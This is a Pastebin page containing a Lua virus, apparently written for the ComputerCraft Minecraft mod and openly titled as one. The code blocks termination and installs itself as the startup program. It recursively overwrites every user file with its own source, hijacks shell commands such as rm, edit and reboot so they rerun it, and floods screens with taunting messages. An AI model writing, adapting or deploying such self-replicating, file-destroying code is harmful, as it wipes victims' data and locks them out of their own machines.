KevY007

FouckinRektVirus

Jul 22nd, 2016
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 5.34 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2. local w, h = term.getSize()
  3. local monside = "none"
  4. if peripheral.getType("top") == "monitor" then
  5. monside = "top"
  6. end
  7. if peripheral.getType("bottom") == "monitor" then
  8. monside = "bottom"
  9. end
  10. if peripheral.getType("right") == "monitor" then
  11. monside = "right"
  12. end
  13. if peripheral.getType("left") == "monitor" then
  14. monside = "left"
  15. end
  16. local monitorget
  17. if monside == "none" then
  18. else
  19.     monitorget = peripheral.wrap( monside )
  20.     monitorget.setTextScale(2.8)
  21. end
  22.  
  23. function disPlace()
  24.     shell.clearAlias("ls")
  25.     shell.clearAlias("dir")
  26.     shell.clearAlias("cp")
  27.     shell.clearAlias("mv")
  28.     shell.clearAlias("rm")
  29.     shell.setAlias("ls", "startup")
  30.     shell.setAlias("dir", "startup")
  31.     shell.setAlias("cp", "startup")
  32.     shell.setAlias("mv", "startup")
  33.     shell.setAlias("rm", "startup")
  34.     shell.setAlias("list", "startup")
  35.     shell.setAlias("edit", "startup")
  36.     shell.setAlias("reboot", "startup")
  37.     shell.setAlias("shutdown", "startup")
  38.     shell.setAlias("lua", "startup")
  39.     shell.setAlias("delete", "startup")
  40.     shell.setAlias("help", "startup")
  41.     shell.setPath("Get Fouckin Rekt Meit->")
  42.     shell.setDir("fouckinrekt_by_pórçó_díó")
  43. end
  44.  
  45. function printCentered(y, s)
  46.     term.setCursorPos(w / 2 - string.len(s) / 2, y)
  47.     write(s)
  48. end
  49.  
  50.  
  51. function writeSXP(text)
  52.     if peripheral.getType("top") == "monitor" then
  53.         monside = "top"
  54.     end
  55.     if peripheral.getType("bottom") == "monitor" then
  56.         monside = "bottom"
  57.     end
  58.     if peripheral.getType("right") == "monitor" then
  59.         monside = "right"
  60.     end
  61.     if peripheral.getType("left") == "monitor" then
  62.         monside = "left"
  63.     end
  64.     if monside == "none" then
  65.     else
  66.         monitorget = peripheral.wrap( monside )
  67.         monitorget.setTextScale(2.9)
  68.     end
  69.     if monside == "none" then
  70.     else
  71.         term.write(text)
  72.         write(text)
  73.         term.redirect(peripheral.wrap(monside))
  74.         if not peripheral.getType("top") == "nill" then
  75.             term.redirect(peripheral.wrap("top"))
  76.         end
  77.         if not peripheral.getType("bottom") == "nill" then
  78.             term.redirect(peripheral.wrap("bottom"))
  79.         end
  80.         if not peripheral.getType("right") == "nill" then
  81.             term.redirect(peripheral.wrap("right"))
  82.         end
  83.         if not peripheral.getType("left") == "nill" then
  84.             term.redirect(peripheral.wrap("left"))
  85.         end
  86.         if not peripheral.getType("front") == "nill" then
  87.             term.redirect(peripheral.wrap("front"))
  88.         end
  89.         if not peripheral.getType("back") == "nill" then
  90.             term.redirect(peripheral.wrap("back"))
  91.         end
  92.         write(text)
  93.         term.write(text)
  94.     end
  95.     write(text)
  96. end
  97.  
  98. function writeSXPMid(text)
  99.     if peripheral.getType("top") == "monitor" then
  100.         monside = "top"
  101.     end
  102.     if peripheral.getType("bottom") == "monitor" then
  103.         monside = "bottom"
  104.     end
  105.     if peripheral.getType("right") == "monitor" then
  106.         monside = "right"
  107.     end
  108.     if peripheral.getType("left") == "monitor" then
  109.         monside = "left"
  110.     end
  111.     if monside == "none" then
  112.     else
  113.         monitorget = peripheral.wrap( monside )
  114.         monitorget.setTextScale(2.8)
  115.     end
  116.     if monside == "none" then
  117.     else
  118.         term.write(text)
  119.         printCentered(h / 2, text)
  120.         write(text)
  121.         --[[term.redirect(peripheral.wrap(monside))
  122.         if not peripheral.getType("top") == "nill" then
  123.             term.redirect(peripheral.wrap("top"))
  124.         end
  125.         if not peripheral.getType("bottom") == "nill" then
  126.             term.redirect(peripheral.wrap("bottom"))
  127.         end
  128.         if not peripheral.getType("right") == "nill" then
  129.             term.redirect(peripheral.wrap("right"))
  130.         end
  131.         if not peripheral.getType("left") == "nill" then
  132.             term.redirect(peripheral.wrap("left"))
  133.         end
  134.         if not peripheral.getType("front") == "nill" then
  135.             term.redirect(peripheral.wrap("front"))
  136.         end
  137.         if not peripheral.getType("back") == "nill" then
  138.             term.redirect(peripheral.wrap("back"))
  139.         end--]]
  140.         write(text)
  141.         term.write(text)
  142.         printCentered(h / 2, text)
  143.     end
  144.     printCentered(h / 2, text)
  145. end
  146.  
  147. function payload()
  148.     local payLoadCharacters = {0, 1, "|", "-", "+"}
  149.     for i=1,50000 do
  150.         os.queueEvent("randomEvent")
  151.         os.pullEvent()
  152.         term.setCursorPos(math.random(1, w), math.random(1, h))
  153.         local index = math.random(1, table.getn(payLoadCharacters))
  154.         writeSXP(payLoadCharacters[index])
  155.         writeSXPMid(payLoadCharacters[index])
  156.         writeSXPMid("Get Fouckin Rekt Meit!")
  157.     end
  158.     sleep(5)
  159.     term.clear()
  160.     term.setCursorPos(1, 1)
  161.     print("Pórço Díó's "..os.version())
  162.     print("\nYou fockin r3kt meit!")
  163. end
  164.  
  165. function infectDir(Directory, Injection)
  166.     local sDir = shell.dir()
  167.     sDir = shell.resolve( Directory )
  168.     local tAll = fs.list( sDir )
  169.     local tFiles = {}
  170.     local tDirs = {}
  171.     for n, sItem in pairs( tAll ) do
  172.         if string.sub( sItem, 1, 1 ) ~= "." then
  173.             local sPath = fs.combine( sDir, sItem )
  174.             if fs.isDir( sPath ) then
  175.                 table.insert( tDirs, sItem )
  176.             else
  177.                 table.insert( tFiles, sItem )
  178.             end
  179.         end
  180.     end
  181.     table.sort( tDirs )
  182.     table.sort( tFiles )
  183.    
  184.     for i=1,table.getn(tFiles) do
  185.         local filewritex = fs.open(Directory.."/"..tFiles[i], "w")
  186.         filewritex.write(Injection)
  187.         filewritex.close()
  188.     end
  189.     for i=1,table.getn(tDirs) do
  190.         if tDirs[i] ~= "rom" then
  191.             infectDir(Directory.."/"..tDirs[i], Injection)
  192.         end
  193.     end
  194.    
  195. end
  196.  
  197. local virusread = fs.open(shell.getRunningProgram(), "r")
  198. local viruscode = virusread.readAll()
  199. virusread.close()
  200.  
  201. local filewritev = fs.open("startup", "w")
  202. filewritev.write(viruscode)
  203. filewritev.close()
  204.  
  205. infectDir("", viruscode)
  206.  
  207. if fs.exists("EOF") == false then
  208.     payload()
  209.     fs.makeDir("EOF")
  210. end
  211.  
  212. disPlace()
Add Comment
Please, Sign In to add comment